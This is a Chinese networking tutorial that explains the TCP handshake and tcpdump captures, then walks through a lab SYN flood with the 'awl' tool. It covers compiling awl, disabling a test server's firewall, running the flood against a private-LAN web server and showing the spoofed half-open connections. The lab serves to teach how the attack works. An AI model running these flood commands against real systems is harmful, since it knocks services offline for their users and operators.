TCP三次握手之-awl工具-SYN洪水攻击

简介: TCP三次握手之-awl工具-SYN洪水攻击

云盾数据



- http://ssa.yundun.com/cc #云盾全球实时攻防图


TCP三次握手


TCP报文段的头部格式


  • 图


image.png


  • ACK:TCP协议规定,只有ack=1时,有效,也规定连接建立后,所有发送的报文ack必须为1


  • SYN :在连接建立时用来同步序列号,当SYN=1,而ACK=0时,表明这是一个连接请求报文,对方若同意建立连接,则应在响应报文中使SYS=1,和ACK=1,因此,SYS置1,就表示这是一个连接请求或连接接受报文


  • FIN 终结,用来释放一个连接,当FIN=1,表明此报文段的发送方数据已经发送完毕,并要求释放连接


  • 建立tcp 连接是的tcp三次握手


  • 断开tcp 连接的四次挥手


  • 三次握手过程:


Client:我可以给你发数据吗


Server:可以


Client:好的,知道了


image.png


  • TCP 连接状态:


listen 侦听来自远方的TCP连接请求

syn-sent 发送请求连接后,等待匹配连接请求

syn-received 在收到和发送一个连接请求后等待对方连接请求的确认

established 代表打开一个连接


  • 三次握手过程:


- 首先有client 发起请求连接,SYN=1,声明 自己序列号为seq=x;

- 然后server 进行回复确认,即SYN=1,声明自己的序列号是 seq=y,并设置ack=x+1

- 最后cilent 在进行一次确认,设置ack=y+1(相对序号)


  • 四次挥手

    Cilent:我要断开了哦


    Server:嗯嗯


     Server:我也要断开了


     Client:好的,可以断开


     UPD 主要是语音、视频,同时vxlan也采用UDP协议分装,主要用于构建OpenStack 私有云或者解决vlan 不够用


实战-使用tcpdump 抓包


tcpdump 常用参数


  • -c 指定包个数


  • -n IP 端口用数字方式显示


  • -port 指定端口


  • -i 指定网卡接口


  • 如何产生tcp 连接?


     ssh 连接


     访问web 等


     注意:ping 能不能产生tcp连接?


        - 不能,ping 属于icmp协议,是个2层协议,而tcp 属于传输层协议–4层


tcpdmp 抓包


  • 安装tcpdump 抓包工具


[root@client ~]# yum -y install tcpdump


[root@client ~]# tcpdump -n -c 3 port 22 -i ens33


tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
22:55:11.185792 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679612986:2679613174, ack 4290389423, win 252, length 188
22:55:11.186127 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 188, win 4104, length 0
22:55:11.186370 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 188:464, ack 1, win 252, length 276
3 packets captured
3 packets received by filter
0 packets dropped by kerne


注释:Flags --S {syn} 表示SYN标志位为1


思考:为啥ack 最后是1,而不是y+1


相对序号 +S,最后不是1


[root@client ~]# tcpdump -n -c 3 port 22 -i ens33 -S
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
23:00:48.648805 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679618606:2679618794, ack 4290391935, win 252, length 188
23:00:48.649369 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 2679618794, win 4101, length 0
23:00:48.649661 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679618794:2679619078, ack 4290391935, win 252, length 284
3 packets captured
3 packets received by filter
0 packets dropped by kernel
[root@client ~]# tcpdump -n -c 3 port 22 -i ens33 -S
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
23:01:10.917796 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679619482:2679619670, ack 4290392015, win 252, length 188
23:01:10.918335 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 2679619670, win 4105, length 0
23:01:10.918569 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679619670:2679619954, ack 4290392015, win 252, length 284
3 packets captured
3 packets received by filter
0 packets dropped by kernel
[root@client ~]# 


awl -syn-洪水攻击


  • 图


image.png


原理


  • SYN 洪水攻击的过程:


在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的端,那么服务端需要耗费一定的数量的系统内存来等待这个未决的连接。直刀等待关闭超时,才能释放连接


  • 如果恶意者通过IP 欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接,并占用大量内存和tcp 连接,从而导致客户端无法访问服务端,这就是SYN洪水攻击的过程


实战


  • 上传安装包


root@localhost ~]# cd /usr/src/


[root@localhost src]# ls


awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz kernels


debug


解压、编译安装


[root@localhost src]# tar -zxvf awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz


[root@localhost ~]# cd /usr/src/awl-0.2/


[root@localhost awl-0.2]# ./configure #检查安装环境


[root@localhost awl-0.2]# make -j 1


[root@localhost awl-0.2]# make install


[root@localhost ~]# aw


awk awl


[root@localhost ~]# which awl #查看安装的位置


/usr/local/bin/awl


[root@localhost ~]#


  • 开始攻击:


  • awl 使用参数:


发送包的接口,如果省略默认是 eth 0


-m 指定目标mac,如果-m 没有指定mac,默认目标mac 就是FF.FF.FF.FF.FF.FF


全 F 就是向同以往段所有主机发出arp 广播,进行SYN攻击,还容易使整个局域网瘫痪


-d 被攻击的主机ip


-p 被攻击的主机端口


  • 配置服务端


[root@localhost ~]# yum -y install httpd


[root@localhost ~]# systemctl start httpd


[root@localhost ~]# getenforce #关闭selinux


Disabled


[root@localhost ~]# systemctl stop firewalld #关闭防火墙


[root@localhost ~]#


[root@localhost ~]# iptables -F


[root@localhost ~]#


当我们安装好后,过滤端口,发现默认只有一个80.


[root@localhost ~]#


[root@localhost ~]# netstat -antup |grep 80


tcp6 0 0 :::80 ::: LISTEN 1412/httpd


  • 客户端发起攻击


[root@localhost ~]# arp -n # 查看arp 缓存,如果没有看到167 的ip ,说明没有产生连接,可以使用167 ssh 到121 ,然后退出,再次查看。


[root@localhost ~]# awl -i ens33 -m 00:0c:29:3a:6a:7b -d 192.168.43.167 -p 80

注意:默数几秒,ctrl +C停止操作,在去过滤167httpd服务


[root@localhost ~]# netstat -antup |grep 80

tcp 0 0 192.168.43.167:80 62.106.87.42:18854 SYN_RECV -

tcp 0 0 192.168.43.167:80 33.252.16.75:40378 SYN_RECV -

tcp 0 0 192.168.43.167:80 40.8.124.43:56068 SYN_RECV -

tcp 0 0 192.168.43.167:80 79.61.217.54:63452 SYN_RECV -

tcp 0 0 192.168.43.167:80 240.6.234.16:35346 SYN_RECV -

……


会发现产生大量未知的ip地址,并且连接状态为 SYN-RECV---- 在收到和发送一个连接请求后等待对方连接请求的确认


总结:


  • tcp 三从握手,提供可靠连接


  • udp 支持vxlan ,用于OpenStack 私有云、vlan 不够用


  • 如果编译出现以下问题:


       configure: error:no acceptable C compiler found in $PATH

  • 解决:


       yum -y install gcc-c++


  • 熟悉tcp 三次握手协议


相关实践学习
深入解析Docker容器化技术
Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。Docker是世界领先的软件容器平台。开发人员利用Docker可以消除协作编码时“在我的机器上可正常工作”的问题。运维人员利用Docker可以在隔离容器中并行运行和管理应用,获得更好的计算密度。企业利用Docker可以构建敏捷的软件交付管道,以更快的速度、更高的安全性和可靠的信誉为Linux和Windows Server应用发布新功能。 在本套课程中,我们将全面的讲解Docker技术栈,从环境安装到容器、镜像操作以及生产环境如何部署开发的微服务应用。本课程由黑马程序员提供。     相关的阿里云产品:容器服务 ACK 容器服务 Kubernetes 版(简称 ACK)提供高性能可伸缩的容器应用管理能力,支持企业级容器化应用的全生命周期管理。整合阿里云虚拟化、存储、网络和安全能力,打造云端最佳容器化应用运行环境。 了解产品详情: https://www.aliyun.com/product/kubernetes
相关文章
|
缓存 网络协议 安全
TCP通信机制:三次握手、四次挥手、滑动窗口
TCP通信机制:三次握手、四次挥手、滑动窗口
1564 1
TCP通信机制:三次握手、四次挥手、滑动窗口
|
网络协议 算法 网络性能优化
理解TCP协议三次握手、四次挥手、流量控制、拥塞控制 、重传机制
TCP概述 TCP是一种面向连接的协议,在发送数据前通信双方必须在彼此间建立一条连接 所谓的连接其实就是客户端和服务器的内存里保存一份关于对方的信息,如IP地址、端口 TCP是一种字节流,它会处理IP层的丢包、重复以及错误问题 在建立连接的过程中,双方交换的一些参数可以放到TCP的头部 总结 :TCP提供了一种可靠、面向连接、字节流、传输层的服务,采用三次握手建立一个连接,四次挥手关闭一个连接
575 2
理解TCP协议三次握手、四次挥手、流量控制、拥塞控制 、重传机制
|
缓存 网络协议 安全
TCP三次握手四次挥手及常见问题解决方案
TCP三次握手四次挥手及常见问题解决方案
TCP三次握手四次挥手及常见问题解决方案
|
网络协议 测试技术
|
网络协议 网络性能优化
计算机网络【UDP与TCP协议(三次握手、四次挥手)】(下)
计算机网络【UDP与TCP协议(三次握手、四次挥手)】(下)
计算机网络【UDP与TCP协议(三次握手、四次挥手)】(下)
|
缓存 网络协议 网络性能优化
计算机网络【UDP与TCP协议(三次握手、四次挥手)】(上)
计算机网络【UDP与TCP协议(三次握手、四次挥手)】(上)
计算机网络【UDP与TCP协议(三次握手、四次挥手)】(上)
|
网络协议 安全 Linux
《我要进大厂》- 计算机网络夺命连环23问,你能坚持到第几问?(TCP 三次握手、四次挥手
《我要进大厂》- 计算机网络夺命连环23问,你能坚持到第几问?(TCP 三次握手、四次挥手
《我要进大厂》- 计算机网络夺命连环23问,你能坚持到第几问?(TCP 三次握手、四次挥手
|
存储 网络协议 算法
《我要进大厂》- 计算机网络夺命连环20问,你能坚持到第几问?(应用层协议 | TCP三次握手、四次挥手 | TCP可靠传输 | Cookie&Session)(下)
《我要进大厂》- 计算机网络夺命连环20问,你能坚持到第几问?(应用层协议 | TCP三次握手、四次挥手 | TCP可靠传输 | Cookie&Session)
《我要进大厂》- 计算机网络夺命连环20问,你能坚持到第几问?(应用层协议 | TCP三次握手、四次挥手 | TCP可靠传输 | Cookie&Session)(下)
|
网络协议 安全 机器人
《我要进大厂》- 计算机网络夺命连环20问,你能坚持到第几问?(应用层协议 | TCP三次握手、四次挥手 | TCP可靠传输 | Cookie&Session)(上)
《我要进大厂》- 计算机网络夺命连环20问,你能坚持到第几问?(应用层协议 | TCP三次握手、四次挥手 | TCP可靠传输 | Cookie&Session)
《我要进大厂》- 计算机网络夺命连环20问,你能坚持到第几问?(应用层协议 | TCP三次握手、四次挥手 | TCP可靠传输 | Cookie&Session)(上)
|
网络协议 安全 Linux
Linux网络原理及编程(5)——第十五节 TCP的连接(三次握手、四次挥手)
本节我们来介绍TCP连接的建立和断开。我们主要介绍两个过程、两个状态。
378 0
Linux网络原理及编程(5)——第十五节 TCP的连接(三次握手、四次挥手)

热门文章

最新文章